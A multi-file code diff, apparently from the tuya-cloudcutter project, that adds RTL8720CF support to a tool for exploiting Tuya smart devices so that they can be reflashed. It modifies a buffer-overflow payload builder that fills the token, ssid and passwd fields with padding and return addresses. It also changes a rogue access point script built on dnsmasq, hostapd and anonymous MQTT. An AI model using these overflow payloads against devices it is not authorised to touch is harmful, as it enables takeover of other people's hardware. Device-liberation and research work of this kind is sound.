b"\x55\xAA\x55\xAA": "UG",
|
||||
b"\x99\x99\x96\x96": "RTL8720CF_UART",
|
||||
b"\x68\x51\x3e\xf8\x3e\x39\x6b\x12\xba\x05\x9a\x90\x0f\x36\xb6\xd3": "RTL8720CF_OTA",
|
||||
}
|
||||
|
||||
with open(args.firmware, "rb") as fs:
|
||||
magic = fs.read(4)
|
||||
magic4 = fs.read(4)
|
||||
fs.seek(32, 0)
|
||||
magic16 = fs.read(16)
|
||||
error_code = 0
|
||||
if magic in FILE_MAGIC_DICT:
|
||||
if magic4 not in FILE_MAGIC_DICT and magic16 not in FILE_MAGIC_DICT:
|
||||
print(f"Firmware {args.firmware} is an {FILE_MAGIC_DICT[magic]} file! Please provide a UG file.", file=sys.stderr)
|
||||
error_code = 51
|
||||
elif magic != UG_FILE_MAGIC:
|
||||
print(f"Firmware {args.firmware} is not a UG file.", file=sys.stderr)
|
||||
|
||||
file_type = ""
|
||||
if magic4 in FILE_MAGIC_DICT:
|
||||
file_type = FILE_MAGIC_DICT[magic4]
|
||||
elif magic16 in FILE_MAGIC_DICT:
|
||||
file_type = FILE_MAGIC_DICT[magic16]
|
||||
|
||||
if file_type not in ["UG", "UF2", "RTL8720CF_OTA"]:
|
||||
print(f"Firmware {args.firmware} is not a UG or RTL8720CF OTA file.", file=sys.stderr)
|
||||
error_code = 52
|
||||
else:
|
||||
# File is a UG file
|
||||
@@ -308,9 +319,9 @@ def __configure_wifi(args):
|
||||
datagram = build_network_config_packet(payload.encode('ascii'))
|
||||
# Send the configuration diagram a few times with minor delay
|
||||
# May improve reliability in some setups
|
||||
for _ in range(5):
|
||||
for _ in range(4):
|
||||
send_network_config_datagram(datagram)
|
||||
time.sleep(0.300)
|
||||
time.sleep(0.05)
|
||||
print(f"Configured device to connect to '{SSID}'")
|
||||
|
||||
|
||||
@@ -343,8 +354,8 @@ def parse_args():
|
||||
parser_configure.add_argument(
|
||||
"--ip",
|
||||
dest="ip",
|
||||
default="10.42.42.1",
|
||||
help="IP address to listen on and respond to the devices with (default: 10.42.42.1)",
|
||||
default="10.204.0.1",
|
||||
help="IP address to listen on and respond to the devices with (default: 10.204.0.1)",
|
||||
)
|
||||
parser_configure.add_argument(
|
||||
"--ssid",
|
||||
@@ -370,8 +381,8 @@ def parse_args():
|
||||
parser_update_firmware.add_argument(
|
||||
"--ip",
|
||||
dest="ip",
|
||||
default="10.42.42.1",
|
||||
help="IP address to listen on and respond to the devices with (default: 10.42.42.1)",
|
||||
default="10.204.0.1",
|
||||
help="IP address to listen on and respond to the devices with (default: 10.204.0.1)",
|
||||
)
|
||||
parser_update_firmware.set_defaults(handler=__update_firmware)
|
||||
|
||||
@@ -441,7 +452,7 @@ def parse_args():
|
||||
required=True,
|
||||
default="",
|
||||
help="authkey assigned to the device (default: Random)",
|
||||
type=__validate_localapicredential_arg(32),
|
||||
#type=__validate_localapicredential_arg(16),
|
||||
)
|
||||
parser_write_deviceconfig.add_argument(
|
||||
"--uuid",
|
||||
@@ -449,7 +460,7 @@ def parse_args():
|
||||
required=True,
|
||||
default="",
|
||||
help="uuid assigned to the device (default: Random)",
|
||||
type=__validate_localapicredential_arg(16),
|
||||
#type=__validate_localapicredential_arg(12),
|
||||
)
|
||||
parser_write_deviceconfig.add_argument(
|
||||
"--pskkey",
|
||||
@@ -457,7 +468,7 @@ def parse_args():
|
||||
required=True,
|
||||
default="",
|
||||
help="pskkey assigned to the device (default: Random)",
|
||||
type=__validate_localapicredential_arg(37),
|
||||
#type=__validate_localapicredential_arg(37),
|
||||
)
|
||||
parser_write_deviceconfig.set_defaults(handler=__write_deviceconfig)
|
||||
|
||||
|
||||
@@ -83,15 +83,26 @@ def create_device_specific_config(args, combined, uuid, auth_key, psk_key = None
|
||||
|
||||
|
||||
def exploit_device_with_config(args, combined: Dict) -> DeviceConfig:
|
||||
addr_len = 3
|
||||
chip = combined["profile"]["firmware"]["chip"]
|
||||
if chip.upper() == "RTL8720CF":
|
||||
addr_len = 4
|
||||
|
||||
data = combined["profile"]["data"]
|
||||
address_finish = int(data.get("address_finish", "0"), 0)
|
||||
address_finish = address_finish.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
|
||||
address_finish = address_finish.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
|
||||
address_token = int(data.get("address_token", "0"), 0)
|
||||
address_token = address_token.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
|
||||
address_token_padding = int(data.get("address_token_padding", 0))
|
||||
address_ssid = int(data.get("address_ssid", "0"), 0)
|
||||
address_ssid = address_ssid.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
|
||||
address_ssid = address_ssid.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
|
||||
address_ssid_padding = int(data.get("address_ssid_padding", 4))
|
||||
address_passwd = int(data.get("address_passwd", "0"), 0)
|
||||
address_passwd = address_passwd.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
|
||||
address_passwd = address_passwd.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
|
||||
address_passwd_padding = int(data.get("address_passwd_padding", 2))
|
||||
address_passwd2 = int(data.get("address_passwd2", "0"), 0)
|
||||
address_passwd2 = address_passwd2.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
|
||||
address_passwd2_padding = int(data.get("address_passwd2_padding", 2))
|
||||
address_datagram = int(data.get("address_datagram", "0"), 0)
|
||||
address_datagram = address_datagram.to_bytes(byteorder="little", length=4)
|
||||
|
||||
@@ -108,13 +119,31 @@ def exploit_device_with_config(args, combined: Dict) -> DeviceConfig:
|
||||
"token": b"A" * 72 + address_finish,
|
||||
}
|
||||
|
||||
if address_passwd and address_passwd2 and address_passwd2_padding - address_passwd_padding < addr_len:
|
||||
raise RuntimeError("address_passwd and address_passwd would collide and overlap")
|
||||
|
||||
if address_token:
|
||||
payload["token"] = (b'A' * address_token_padding) + address_token + (b'A' * (68 - address_token_padding)) + address_finish
|
||||
if address_ssid:
|
||||
padding = 4
|
||||
padding_ssid = 4
|
||||
if address_ssid_padding:
|
||||
padding = address_ssid_padding
|
||||
payload["ssid"] = b"A" * padding + address_ssid
|
||||
padding_ssid = address_ssid_padding
|
||||
payload["ssid"] = b'A' * padding_ssid + address_ssid
|
||||
if address_passwd:
|
||||
payload["passwd"] = address_passwd
|
||||
padding_passwd = 0
|
||||
if address_passwd_padding:
|
||||
padding_passwd = address_passwd_padding
|
||||
payload["passwd"] = b'A' * padding_passwd + address_passwd
|
||||
if address_passwd2:
|
||||
padding_passwd2 = 0
|
||||
if address_passwd2_padding:
|
||||
padding_passwd2 = address_passwd2_padding
|
||||
payload["passwd"] = payload["passwd"] + (b'A' * (padding_passwd2 - len(payload["passwd"]))) + address_passwd2
|
||||
|
||||
if args.verbose_output:
|
||||
print(payload)
|
||||
print("Using AuthKey: " + auth_key)
|
||||
print("Using UUID: " + uuid)
|
||||
|
||||
payload = {
|
||||
k: b'"' + v + b'"'
|
||||
|
||||
@@ -16,6 +16,7 @@ class FirmwareType(Enum):
|
||||
IGNORED_FILENAME = 2
|
||||
VALID_UG = 3
|
||||
VALID_UF2 = 4
|
||||
VALID_RTL8720CF_OTA = 5
|
||||
|
||||
|
||||
UF2_UG_SUFFIX = "-extracted.ug.bin"
|
||||
@@ -161,22 +162,31 @@ def validate_firmware_file_internal(firmware: str, chip: str = None) -> Firmware
|
||||
b"\x2f\x07\xb5\x94": "UA",
|
||||
b"\x55\xAA\x55\xAA": "UG",
|
||||
b"UF2\x0A": "UF2",
|
||||
b"\x99\x99\x96\x96": "RTL8720CF_UART",
|
||||
b"\x68\x51\x3e\xf8\x3e\x39\x6b\x12\xba\x05\x9a\x90\x0f\x36\xb6\xd3": "RTL8720CF_OTA",
|
||||
}
|
||||
|
||||
base = basename(firmware)
|
||||
with open(firmware, "rb") as fs:
|
||||
header = fs.read(512)
|
||||
|
||||
magic = header[0:4]
|
||||
if magic not in FILE_MAGIC_DICT or len(header) < 512:
|
||||
magic4 = header[0:4]
|
||||
magic16 = header[32:48]
|
||||
|
||||
if (magic4 not in FILE_MAGIC_DICT and magic16 not in FILE_MAGIC_DICT) or len(header) < 512:
|
||||
print(
|
||||
f"!!! Unrecognized file type - '{base}' is not a UG or UF2 file.",
|
||||
f"!!! Unrecognized file type - '{base}' is not a UG, UF2, or RTL8720CF OTA file.",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return FirmwareType.INVALID
|
||||
file_type = FILE_MAGIC_DICT[magic]
|
||||
|
||||
if file_type not in ["UG", "UF2"]:
|
||||
file_type = ""
|
||||
if magic4 in FILE_MAGIC_DICT:
|
||||
file_type = FILE_MAGIC_DICT[magic4]
|
||||
elif magic16 in FILE_MAGIC_DICT:
|
||||
file_type = FILE_MAGIC_DICT[magic16]
|
||||
|
||||
if file_type not in ["UG", "UF2", "RTL8720CF_OTA"]:
|
||||
print(
|
||||
f"!!! File {base} is a '{file_type}' file! Please provide an UG file.",
|
||||
file=sys.stderr,
|
||||
@@ -225,6 +235,9 @@ def validate_firmware_file_internal(firmware: str, chip: str = None) -> Firmware
|
||||
if UF2_FAMILY_MAP[chip] != block.family.id:
|
||||
return FirmwareType.IGNORED_HEADER
|
||||
return FirmwareType.VALID_UF2
|
||||
|
||||
if file_type == "RTL8720CF_OTA":
|
||||
return FirmwareType.VALID_RTL8720CF_OTA
|
||||
|
||||
def extract_uf2(file_with_path: str, firmware_dir: str, chip: str) -> str:
|
||||
target = file_with_path + "-" + chip.lower() + UF2_UG_SUFFIX
|
||||
@@ -356,7 +369,7 @@ def choose_profile(ctx, flashing: bool = False):
|
||||
@click.option(
|
||||
"-c",
|
||||
"--chip",
|
||||
type=click.Choice(["bk7231t", "bk7231n"], case_sensitive=False),
|
||||
type=click.Choice(["bk7231t", "bk7231n", "rtl8720cf"], case_sensitive=False),
|
||||
default=None,
|
||||
)
|
||||
@click.pass_context
|
||||
@@ -373,7 +386,7 @@ def choose_firmware(ctx, chip: str = None):
|
||||
continue
|
||||
path = join(firmware_dir, file)
|
||||
fw_type = validate_firmware_file_internal(path, chip and chip.lower())
|
||||
if fw_type in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2]:
|
||||
if fw_type in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2, FirmwareType.VALID_RTL8720CF_OTA]:
|
||||
options[file] = fw_type
|
||||
elif fw_type in [FirmwareType.INVALID]:
|
||||
invalid_filenames[file] = file
|
||||
@@ -410,7 +423,7 @@ def choose_firmware(ctx, chip: str = None):
|
||||
@click.option(
|
||||
"-c",
|
||||
"--chip",
|
||||
type=click.Choice(["bk7231t", "bk7231n"], case_sensitive=False),
|
||||
type=click.Choice(["bk7231t", "bk7231n", "rtl8720cf"], case_sensitive=False),
|
||||
default=None,
|
||||
)
|
||||
@click.pass_context
|
||||
@@ -418,7 +431,7 @@ def validate_firmware_file(ctx, filename: str, chip: str = None):
|
||||
chip = chip and chip.upper()
|
||||
firmware_dir = ctx.obj["firmware_dir"]
|
||||
fw_type = validate_firmware_file_internal(join(firmware_dir, filename), chip and chip.lower())
|
||||
if fw_type not in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2]:
|
||||
if fw_type not in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2, FirmwareType.VALID_RTL8720CF_OTA]:
|
||||
print(
|
||||
f"The firmware file supplied ({filename}) is not valid for the chosen profile type of {chip}",
|
||||
file=sys.stderr,
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
GATEWAY=10.42.42.1
|
||||
GATEWAY=10.204.0.1
|
||||
DNS2=10.204.0.2
|
||||
DNS3=10.204.0.3
|
||||
DHCP_RANGE_START=10.204.0.10
|
||||
DHCP_RANGE_END=10.204.0.40
|
||||
WLAN=${1:-UNKNOWN}
|
||||
VERBOSE_OUTPUT=${2:-"false"}
|
||||
|
||||
@@ -41,24 +45,15 @@ get_ap_channel() {
|
||||
|
||||
echo "Using WLAN adapter: ${WLAN}"
|
||||
|
||||
rfkill unblock wifi
|
||||
|
||||
ip addr flush dev $WLAN
|
||||
ip link set dev $WLAN down
|
||||
ip addr add $GATEWAY/24 dev $WLAN
|
||||
ip addr add $DNS2 dev $WLAN
|
||||
ip addr add $DNS3 dev $WLAN
|
||||
ip link set dev $WLAN up
|
||||
|
||||
LOG_OPTIONS=""
|
||||
if [ "${VERBOSE_OUTPUT}" == "true" ]; then
|
||||
LOG_OPTIONS="--log-dhcp --log-queries --log-facility=/dev/stdout"
|
||||
fi
|
||||
dnsmasq --no-resolv --interface=$WLAN --bind-interfaces --listen-address=$GATEWAY --except-interface=lo --dhcp-range=10.42.42.10,10.42.42.40,12h --address=/#/${GATEWAY} -x $(pwd)/dnsmasq.pid $LOG_OPTIONS
|
||||
|
||||
mkdir /run/mosquitto
|
||||
chown mosquitto /run/mosquitto
|
||||
echo -e "listener 1883 0.0.0.0\nallow_anonymous true\n" >> /etc/mosquitto/mosquitto.conf
|
||||
/usr/sbin/mosquitto -d -c /etc/mosquitto/mosquitto.conf
|
||||
|
||||
rfkill unblock wifi
|
||||
|
||||
# Set up hostapd with
|
||||
# 1. 802.11n in 2.4GHz (hw_mode=g) - some devices scan for it
|
||||
# 2. WPA2-PSK - some devices do not connect otherwise
|
||||
@@ -85,4 +80,15 @@ wpa_passphrase=abcdabcd
|
||||
rsn_pairwise=CCMP
|
||||
EOF
|
||||
|
||||
LOG_OPTIONS=""
|
||||
if [ "${VERBOSE_OUTPUT}" == "true" ]; then
|
||||
LOG_OPTIONS="--log-dhcp --log-queries --log-facility=/dev/stdout"
|
||||
fi
|
||||
dnsmasq --no-resolv --interface=$WLAN --bind-interfaces --listen-address=$GATEWAY --except-interface=lo -K --dhcp-range=$DHCP_RANGE_START,$DHCP_RANGE_END,12h --dhcp-option=option:router,$GATEWAY --dhcp-option=option:dns-server,$GATEWAY,$DNS2,$DNS3 --dhcp-option=option:netmask,255.255.255.0 --dhcp-sequential-ip --address=/#/${GATEWAY} -x $(pwd)/dnsmasq.pid $LOG_OPTIONS
|
||||
|
||||
mkdir /run/mosquitto
|
||||
chown mosquitto /run/mosquitto
|
||||
echo -e "listener 1883 0.0.0.0\nallow_anonymous true\n" >> /etc/mosquitto/mosquitto.conf
|
||||
/usr/sbin/mosquitto -d -v -c /etc/mosquitto/mosquitto.conf
|
||||
|
||||
echo "If your device gets stuck here with no progress after several (at least two) minutes, see https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/FAQ#my-device-gets-stuck-after-dhcp-what-can-i-do for additional steps"
|
||||
|
||||
Reference in New Issue
Block a user